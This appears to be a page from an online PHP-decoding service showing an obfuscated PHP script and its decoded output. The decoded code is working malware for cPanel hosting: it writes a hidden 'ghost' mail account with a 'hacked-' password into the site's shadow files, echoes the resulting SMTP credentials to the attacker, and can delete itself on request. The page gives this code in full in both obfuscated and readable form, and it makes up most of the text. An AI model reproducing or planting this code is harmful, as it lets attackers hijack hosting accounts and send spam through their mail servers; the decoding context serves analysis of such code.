Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42A\x4c\x53"}["a\x7ag\x69\x6ao\x76\x76\x77\x6d\x67"]="_f\x6f";${"\x47\..

Decoded Output download

<?php ${"GLOBALS"}["azgijovvwmg"]="_fo";${"GLOBALS"}["hbxfmdento"]="_shadow2";${"GLOBALS"}["etktdcnojtl"]="_thispwd";${"GLOBALS"}["wkjmrfh"]="_currDomain";${"GLOBALS"}["wkmhfwmsry"]="_cp";${"GLOBALS"}["lvlvfwodw"]="_workHome";${"GLOBALS"}["xnektpwlim"]="_home";${"GLOBALS"}["bqfoflvlhvi"]="_this";${"GLOBALS"}["zcwoyjy"]="_homePath";error_reporting(0);${"GLOBALS"}["evwsxmgbyl"]="_cp";${"GLOBALS"}["rchrrxgicw"]="_home";${"GLOBALS"}["sfutfrjkdy"]="_currUser";${${"GLOBALS"}["sfutfrjkdy"]}=get_current_user();${${"GLOBALS"}["zcwoyjy"]}=["/home/","/home1/","/home2/","/home3/","/home4/","/home5/","/home6/","/home7/","/home8/","/home9/","/home10/"];${${"GLOBALS"}["bqfoflvlhvi"]}=0;foreach(${${"GLOBALS"}["zcwoyjy"]} as${${"GLOBALS"}["rchrrxgicw"]}){$fqeeprrlsta="_currUser";if(file_exists(${${"GLOBALS"}["xnektpwlim"]}.${$fqeeprrlsta})){$ngcyewedufn="_this";${$ngcyewedufn}++;if(${${"GLOBALS"}["bqfoflvlhvi"]}>0){${${"GLOBALS"}["lvlvfwodw"]}=${${"GLOBALS"}["xnektpwlim"]};break;}}}${${"GLOBALS"}["wkmhfwmsry"]}="$_workHome$_currUser/.cpanel";if(is_dir(${${"GLOBALS"}["evwsxmgbyl"]})){$fnxgztesq="_fo2";${"GLOBALS"}["gscrmbp"]="_thispwd";${"GLOBALS"}["vdfwdxaqdgd"]="_shadow2";${"GLOBALS"}["ccbseumvcgcs"]="_smtp";${"GLOBALS"}["zzpymms"]="_fo2";$uuhxhkn="_fo";${"GLOBALS"}["gjbjeysvl"]="_currDomain";$uiwvoamcl="_currDomain";$nsodxyh="_thispwd";${$uiwvoamcl}=$_SERVER["HTTP_HOST"];$roksjr="_pwd";$kvgrqvev="_shadow1";${"GLOBALS"}["meilfpqdbqot"]="_pwd";if(strstr(${${"GLOBALS"}["gjbjeysvl"]},"www.")){${"GLOBALS"}["ptmvfjhc"]="_currDomain";${"GLOBALS"}["gblriexdgv"]="_currDomain";${${"GLOBALS"}["ptmvfjhc"]}=str_replace("www.","",${${"GLOBALS"}["gblriexdgv"]});}else{${${"GLOBALS"}["wkjmrfh"]}=${${"GLOBALS"}["wkjmrfh"]};}${${"GLOBALS"}["etktdcnojtl"]}="hacked-".mt_rand(100,999);${"GLOBALS"}["dxohtxgjpx"]="_shadow1";${$roksjr}=crypt(${$nsodxyh},"\$6$the3x$");${"GLOBALS"}["cjglfrlf"]="_smtp";$mdtyemnebit="_smtp";mkdir("$_workHome$_currUser/etc/$_currDomain");${$mdtyemnebit}="ghost:".${${"GLOBALS"}["meilfpqdbqot"]}.":16249:::::"."
";${${"GLOBALS"}["dxohtxgjpx"]}="/home/$_currUser/etc/$_currDomain/shadow";${${"GLOBALS"}["hbxfmdento"]}="/home/$_currUser/etc/shadow";${$uuhxhkn}=fopen(${$kvgrqvev},"w");fwrite(${${"GLOBALS"}["azgijovvwmg"]},${${"GLOBALS"}["ccbseumvcgcs"]});${${"GLOBALS"}["zzpymms"]}=fopen(${${"GLOBALS"}["vdfwdxaqdgd"]},"w");fwrite(${$fnxgztesq},${${"GLOBALS"}["cjglfrlf"]});echo"$_currDomain|587|ghost@$_currDomain|".${${"GLOBALS"}["gscrmbp"]};}else{echo"you think this is a fucking smtp addable website?";}if(isset($_GET["d"])){unlink(__FILE__);} 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42A\x4c\x53"}["a\x7ag\x69\x6ao\x76\x76\x77\x6d\x67"]="_f\x6f";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68b\x78fm\x64e\x6et\x6f"]="\x5f\x73\x68\x61\x64ow\x32";${"GL\x4fB\x41\x4cS"}["e\x74k\x74\x64c\x6eoj\x74l"]="\x5f\x74h\x69s\x70\x77\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77k\x6am\x72\x66\x68"]="_\x63\x75\x72\x72\x44\x6f\x6d\x61\x69\x6e";${"\x47L\x4f\x42\x41L\x53"}["\x77\x6b\x6d\x68\x66wm\x73\x72\x79"]="\x5fcp";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6cv\x6cvfwodw"]="\x5fw\x6frk\x48\x6f\x6d\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x6ee\x6btp\x77\x6cim"]="\x5fho\x6de";${"\x47\x4cO\x42\x41\x4cS"}["\x62\x71\x66\x6f\x66\x6cv\x6c\x68v\x69"]="_t\x68\x69\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x7ac\x77\x6f\x79j\x79"]="\x5f\x68\x6f\x6d\x65\x50\x61\x74\x68";error_reporting(0);${"\x47LOB\x41\x4c\x53"}["\x65\x76\x77\x73\x78\x6d\x67\x62\x79\x6c"]="\x5f\x63p";${"\x47LO\x42\x41\x4cS"}["\x72ch\x72\x72\x78\x67\x69cw"]="_h\x6f\x6de";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73futf\x72j\x6bd\x79"]="_\x63u\x72rU\x73er";${${"\x47L\x4fB\x41\x4cS"}["s\x66utfr\x6a\x6b\x64\x79"]}=get_current_user();${${"GL\x4fBAL\x53"}["\x7a\x63\x77oy\x6a\x79"]}=["/h\x6f\x6d\x65/","/\x68o\x6d\x65\x31/","/h\x6fm\x65\x32/","/\x68o\x6de3/","/home\x34/","/\x68\x6f\x6d\x655/","/h\x6fme6/","/h\x6f\x6de7/","/h\x6f\x6de\x38/","/\x68\x6f\x6de\x39/","/ho\x6de\x31\x30/"];${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x71fofl\x76lh\x76\x69"]}=0;foreach(${${"\x47\x4c\x4fB\x41L\x53"}["z\x63\x77\x6f\x79\x6a\x79"]} as${${"\x47L\x4f\x42\x41L\x53"}["r\x63\x68\x72\x72\x78\x67i\x63\x77"]}){$fqeeprrlsta="_\x63u\x72\x72\x55\x73er";if(file_exists(${${"GL\x4f\x42\x41LS"}["x\x6ee\x6b\x74\x70\x77\x6c\x69\x6d"]}.${$fqeeprrlsta})){$ngcyewedufn="\x5f\x74his";${$ngcyewedufn}++;if(${${"\x47L\x4f\x42\x41L\x53"}["\x62\x71\x66\x6ff\x6c\x76\x6c\x68\x76i"]}>0){${${"GL\x4f\x42\x41\x4c\x53"}["lv\x6cvfw\x6fd\x77"]}=${${"GL\x4fBA\x4cS"}["x\x6e\x65\x6b\x74p\x77\x6c\x69\x6d"]};break;}}}${${"\x47\x4cOB\x41\x4cS"}["\x77k\x6dh\x66\x77\x6ds\x72\x79"]}="$_workHome$_currUser/.\x63pane\x6c";if(is_dir(${${"GL\x4f\x42A\x4c\x53"}["\x65\x76ws\x78\x6d\x67\x62\x79\x6c"]})){$fnxgztesq="_\x66\x6f\x32";${"\x47\x4cOBA\x4c\x53"}["g\x73\x63\x72mbp"]="\x5f\x74h\x69\x73\x70wd";${"\x47\x4c\x4f\x42ALS"}["\x76d\x66wd\x78\x61qd\x67\x64"]="\x5f\x73\x68ad\x6f\x77\x32";${"\x47\x4cOB\x41\x4cS"}["\x63\x63\x62s\x65\x75m\x76\x63\x67\x63s"]="\x5fs\x6d\x74\x70";${"G\x4c\x4f\x42\x41\x4c\x53"}["z\x7a\x70\x79\x6d\x6d\x73"]="\x5ff\x6f2";$uuhxhkn="\x5f\x66\x6f";${"G\x4c\x4f\x42A\x4cS"}["\x67\x6abj\x65y\x73v\x6c"]="_c\x75\x72r\x44\x6f\x6d\x61\x69\x6e";$uiwvoamcl="\x5f\x63\x75\x72\x72\x44\x6fm\x61\x69\x6e";$nsodxyh="\x5f\x74\x68\x69s\x70\x77\x64";${$uiwvoamcl}=$_SERVER["\x48T\x54\x50\x5fHO\x53T"];$roksjr="\x5fp\x77\x64";$kvgrqvev="\x5f\x73\x68a\x64o\x77\x31";${"G\x4cO\x42AL\x53"}["\x6de\x69\x6cf\x70\x71d\x62\x71\x6ft"]="\x5f\x70\x77\x64";if(strstr(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x6abj\x65\x79\x73vl"]},"w\x77w.")){${"\x47\x4cO\x42\x41\x4c\x53"}["ptmvfj\x68c"]="_\x63\x75\x72\x72\x44\x6f\x6d\x61\x69n";${"GL\x4f\x42\x41LS"}["g\x62\x6c\x72i\x65x\x64\x67v"]="_c\x75\x72rD\x6f\x6da\x69\x6e";${${"\x47\x4c\x4fBALS"}["\x70t\x6d\x76\x66jh\x63"]}=str_replace("\x77\x77w.","",${${"\x47L\x4fB\x41\x4c\x53"}["\x67blr\x69\x65\x78d\x67\x76"]});}else{${${"\x47LOB\x41\x4c\x53"}["\x77\x6b\x6am\x72\x66\x68"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["wk\x6a\x6d\x72\x66\x68"]};}${${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x74\x6btd\x63\x6e\x6f\x6at\x6c"]}="ha\x63\x6be\x64-".mt_rand(100,999);${"\x47\x4c\x4f\x42AL\x53"}["d\x78\x6fh\x74x\x67\x6ap\x78"]="\x5f\x73\x68ad\x6fw\x31";${$roksjr}=crypt(${$nsodxyh},"\$6$the3x$");${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x6ag\x6c\x66r\x6c\x66"]="_\x73\x6d\x74\x70";$mdtyemnebit="_\x73mt\x70";mkdir("$_workHome$_currUser/e\x74c/$_currDomain");${$mdtyemnebit}="\x67hos\x74:".${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x65\x69\x6c\x66\x70qd\x62\x71o\x74"]}.":1624\x39:::::"."\n";${${"\x47\x4c\x4fB\x41LS"}["\x64x\x6f\x68\x74\x78gj\x70\x78"]}="/h\x6f\x6de/$_currUser/\x65tc/$_currDomain/\x73ha\x64o\x77";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["h\x62x\x66\x6d\x64en\x74o"]}="/\x68om\x65/$_currUser/\x65tc/\x73h\x61d\x6f\x77";${$uuhxhkn}=fopen(${$kvgrqvev},"w");fwrite(${${"GLOB\x41L\x53"}["\x61\x7a\x67\x69j\x6f\x76\x76\x77\x6dg"]},${${"GL\x4fBAL\x53"}["\x63\x63\x62\x73\x65\x75\x6d\x76c\x67\x63\x73"]});${${"\x47\x4c\x4fB\x41\x4c\x53"}["zz\x70\x79\x6dms"]}=fopen(${${"GL\x4f\x42\x41\x4c\x53"}["\x76\x64\x66\x77d\x78\x61\x71\x64\x67d"]},"\x77");fwrite(${$fnxgztesq},${${"\x47L\x4f\x42A\x4c\x53"}["\x63\x6a\x67\x6cf\x72l\x66"]});echo"$_currDomain|58\x37|g\x68\x6f\x73\x74\x40$_currDomain|".${${"\x47\x4cO\x42A\x4c\x53"}["g\x73c\x72m\x62p"]};}else{echo"y\x6fu th\x69n\x6b this\x20is \x61\x20f\x75\x63\x6b\x69ng\x20\x73\x6d\x74\x70\x20\x61\x64\x64\x61\x62\x6ce\x20w\x65\x62\x73it\x65?";}if(isset($_GET["d"])){unlink(__FILE__);}
?>

Function Calls

None

Variables

None

Stats

MD5 8d1151abd71b3b2157af79f6c96f01ed
Eval Count 0
Decode Time 114 ms